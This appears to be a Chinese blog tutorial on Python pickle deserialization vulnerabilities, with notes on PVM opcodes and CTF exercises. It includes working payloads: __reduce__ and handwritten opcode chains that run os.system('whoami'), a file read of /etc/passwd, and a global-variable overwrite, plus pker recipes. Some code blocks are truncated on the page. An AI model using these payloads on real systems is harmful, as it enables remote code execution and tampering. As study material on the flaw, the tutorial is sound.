
pickle 反序列化漏洞

序列化与反序列化
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl
),不能直接打开进行预览。
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
与PHP序列化或者JSON,这些以键值对形式存储序列化对象数据的不同,pickle 序列化(Python独有)是将一个
Python 对象
及其所拥有的层次结构变成可以持久化储存的二进制数据
,pickle能表示Python几乎所有的类型(包括自定义类型),由一系列opcode组成,模拟了类似堆栈的内存。
dump/load
1 | #序列化 |
1 | import os |
dumps/loads
1 | #序列化 |
1 | import os |
序列化内容都是,第一个是写入文件中的,字节被转码了,所以存在一些乱码(我使用的是python3.8,所以效果不太好,要看到最佳效果建议使用python2.x)。
1 | \x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Hello\x94\x93\x94)\x81\x94}\x94(\x8c\x01a\x94\x8c\x011\x94\x8c\x01b\x94\x8c\x012\x94ub. |
要了解这些内容,需要去了解一下PVM
PVM作用以及一些流程
PVM的作用
对于Python而言,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。
PVM的执行流程
当运行Python程序时,PVM会执行两个步骤。
- PVM会把源代码编译成字节码
字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .
- Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。
(和jvm概念差不多吧)
PVM与Pickle模块的关系
Pickle是一门基于 栈 的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .
这个轻量级的PVM由三部分组成及其功能如下:
- 指令处理器( Instruction processor )
从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变
stack
和memo
区域的值。直到遇到.
这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。
- 栈区( stack )
由 Python的列表( list )实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果
- 标签区( memo )
由 Python的字典( dict )实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 。简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中,以便使用。
操作码
先说几个比较重要的
1 | c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中 |
0号协议
新协议参考 OpCodes · Pickle.jl (juliahub.com)
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新,不同版本中得到的opcode不同。
pickle可以向下兼容,v0 版协议是原始的“人类可读”协议,为了通用性以及易读性
1 | MARK = b'(' # push special markobject on stack |
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、’等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶第一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
换行符代表参数的结束
( 为压入一个 mark object,用以构建 tuple、list 等对象或调用函数时标识数据的开始位置)
0 执行 POP 操作,1 针对 mark object 执行 POP 操作,2 复制栈顶元素,即将栈顶元素再次入栈
d l t 分别从栈中数据创建 dict、list、tuple 对象,以 mark object 标识数据开始,并会将数据和 mark object 从栈中移除
more opcode
1 | /* Pickle opcodes. These must be kept updated with pickle.py. |
几个操作码简单尝试
(学到一般从其他地方了解到pickle自带一个pickletools的调试工具,调用dis方法能看见调用流程。。。。。才知道,淦!)
I
1 | if __name__ == '__main__': |
d l t
d l t 分别从栈中数据创建 dict、list、tuple 对象,以 mark object 标识数据开始,并会将数据和 mark object 从栈中移除
1 | if __name__ == '__main__': |
} ] ) s u
}
]
)
分别将空 dict、空 list、空 tuple对象压入栈中,后续可以使用其它方法对这些对象进行操作
s
将栈顶的两个元素以 key-value 的格式放入其后的 dict 中,对应 dict[key]=value
操作
u
为添加多个 key-value,操作与 d
类似
1 | #C 测试 ) } ] u s 操作码 |
a e b c
a
将栈顶元素放入其后的 list 中,对应 list.append(value)
操作
e
为添加多个元素,操作与 l
类似
b
用于修改栈中的对象,调用对应类设定的 __setstate__
函数 (若有) 或默认的 __dict__.update
来修改对象的元素,栈顶为调用 update 的参数,需要一个 dict 参数,后一个元素为对应修改的对象
c
为最常见的 opcode 之一,其作用可以归结为调用 find_class
方法并将结果入栈,其接收两个参数,第一个参数为 modname
,第二个参数为 name
1 | # a e b c 操作码测试 |
栈stack 和 临时内存memo 间的操作 p q r g h j
p
q
r
将栈顶的元素放入 memo (一个临时使用的内存) 中,其接收一个参数,为该元素在 memo 中的索引,区别在于索引的类型不同g
h
j
与之相对应,接收一个参数作为索引,在 memo 中寻找该索引对应的元素放入栈顶
这三对 opcode 一般用于弹出或修改非栈顶元素时,将栈顶元素临时保存,稍微麻烦亿点点,这里就不做过多演示了,后续去复现真题去慢慢研究。
R
R
为最常被过滤的 opcode,其由特殊方法 reduce 产生,对栈顶的 tuple 进行 callable 操作,第一个元素为一个可调用的对象 (一般通过 c 获取),第二个元素为一个 tuple 储存调用的参数(这里以下面的Reduce的魔术方法演示的代码为例进行修改。由于我写笔记是感觉哪里合适写入就去对应的地方插入,因此你看到的顺序并不是我学习的路线=。=,这里我以我认为最为合适的方式写的文章顺序)
1 | if __name__ == '__main__': |
i o
i
o
均用于创建类的实例,也可用于调用方法,其区别在于使用方法和参数传递方法的不同
i
接收两个参数 (在 opcode 后跟参数),分别对应 modname
与 name
,创建实例或调用方法所用参数为使用 i
时栈内内容,以 mark object 标识数据开始
测试1——命令执行
1 | if __name__ == '__main__': |
测试2——修改类属性
1 | class test2(object): |
o
不接收参数,其使用栈上的元素,以 mark object 标识数据开始,第一个元素为类或可调用的对象,之后的元素为其参数
1 | x8 = pickle.loads( |
Pickle/CPickle反序列化漏洞分析
反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。
而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.
另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。
🚩命令执行函数
1 | eval, execfile, compile, open, file, map, input, |
漏洞可能出现的位置:
解析认证token、session的时候
将对象Pickle后存储成磁盘文件
将对象Pickle后在网络中传输
参数传递给程序
魔术方法
1 | __reduce__() |
object.reduce()
通过重写类的 object.reduce() 函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令
官方解释
当 __reduce__()
函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R
操作码功能相似
1 | R:将之前压入栈中的元组和可调用对象全部弹出, 然后将该元组作为可调用参数的对象并执行该对象。最后将结果压入到栈中 |
事实上, R
操作码就是 __reduce__()
魔术函数的底层实现, 而在反序列化过程结束的时候, Python 进程会自动调用 __reduce__()
魔术方法, 如果可以控制被调用函数的参数, Python 进程就可以执行恶意代码
1 | # -*-coding:utf-8-*- |
下图是PVM解析 __reduce__()
的过程动图:
通过上面的学习后,这里很容易理解。先是获取builtin库中的file函数,随后压入一个MARK,拿到 (“/etc/passwd”, ) 元组,随后将栈内第一位作为可执行函数,第二位作为参数(必须为元组),随后执行。
(由于对python接触不多,了解了一下builtin理解Python中的__builtin__和_builtins )
有两种内建函数可以获取文件对象:open和file。他们的用法完全一样(我本地是python3.8,貌似没有file,我就用open尝试)。
上述内容基本等价于
1 | import builtins |
object.__setstate__
(state)
用于设置对象属性,执行obj[key]=value的时候自动调用,对应opcode当中的b指令。
当解封时,如果类定义了 setstate(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict。
基础利用方法
1.执行恶意命令
可以直接调用__reduce__方法
1
2
3
4
5
6
7
8
9
10
11
12import os
import pickle
import pickletools
class Evil():
def __reduce__(self):
return (os.system, ('whoami',))
print(pickle.dumps(Evil()))
pickletools.dis(pickle.dumps(Evil()))
1 | b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' |
可以手写操作码
1
2
3
4
5
6
7
8c__builtin__
getattr
(c__builtin__
__import__
(S'os'
tRS'system'
tR(S'whoami'
tR.也可以用o和i来构造
1 | b'''(S'whoami' |
1 | b'''(cos |
2.修改全局变量
通过 c
操作码可以获取到任意对象,b
操作码可以对任意对象进行修改,此时就可以获取全局对象并进行修改
比如:
1 | secret = {'ADMIN': 0} |
如果想要修改secret里的变量,可以调用
1 | __main__.secret.update({'ADMIN': 1}) |
1 | c__builtin__ |
(这个比较麻烦,个人认为getattr等内容可以通过b操作码进行修改,未作尝试,有兴趣可以试试,应该是能行的)
pker工具生成(建议还是先学会操作码什么意思之后,再去使用工具,万一生成的内容存在黑名单,还需要自己去修改):
1 | secret = GLOBAL('__main__', 'secret') |
3.获取其它模块中的隐私数据
绕过过滤方法
官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决
很多时候都要靠python的内置模块去绕过
pker工具使用
它可以自动化生成Pickle opcode
一般来说它可以按照python正常的写法来生成opcode,下面翻译一下README.md的内容
和普通python不同的地方再:
3个内置的模块生成方式
1
2
3GLOBAL('os', 'system') => cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\noreturn
可以在函数之外使用1
2var = 1
return var1
2
3return => .
return var => g_\n.
return 1 => I1\n.
使用方法和示例
- pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
- 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
- pker主要用到
GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1 | 以下module都可以是包含`.`的子module |
- 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为 左值 ,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符, 作为右值是可以的 。即“查值不行,赋值可以”。 - pker解析
S
时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
pker几个简单测试
1. 实例化对象
1 | instance=INST('__main__', 'Koishi', 'hello','world') |
例子
1 | import pickle |
下面两个也行,通过不同的操作码进行实例化
1 | instance = OBJ(GLOBAL('__main__', 'Koishi'), '1','2') |
2.命令执行
- 通过
b'R'
调用:
1 | s='whoami' |
- 通过
b'i'
调用:
1 | INST('os', 'system', 'whoami') |
- 通过
b'c'
与b'o'
调用:
1 | OBJ(GLOBAL('os', 'system'), 'whoami') |
- 多参数调用函数
1 | INST('[module]', '[callable]'[, par0,par1...]) |
例子
1 | import pickle |
3.pker:全局变量覆盖
比如我们创建一个main文件外的hardworking的模块,模块内写下(其实感觉我写的例子不太合适,但是知道什么意思就行了)
hardworking.py
1 | class run(): |
1 | if __name__ == '__main__': |
手动辅助
- 拼接opcode:将第一个pickle流结尾表示结束的
.
去掉,两者拼接起来即可。 - 建立普通的类时,可以先pickle.dumps,再拼接至payload。
题目练习
[SUCTF2019 Guess Game](R:\Competition questions\SUCTF 2019\guess_game\guess_game.md)
[CISCN2019 ikun](R:\Competition questions\CISCN2019\web2 ikun)
[unpickle(不好)](R:\Competition questions\其他练习题\vulhub-python-unpickle.md)
- 标题: pickle 反序列化漏洞
- 作者: Ko1sh1
- 创建于 : 2023-05-11 07:29:57
- 更新于 : 2024-05-30 22:38:23
- 链接: https://ko1sh1.github.io/2023/05/11/blog_pickle反序列化/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。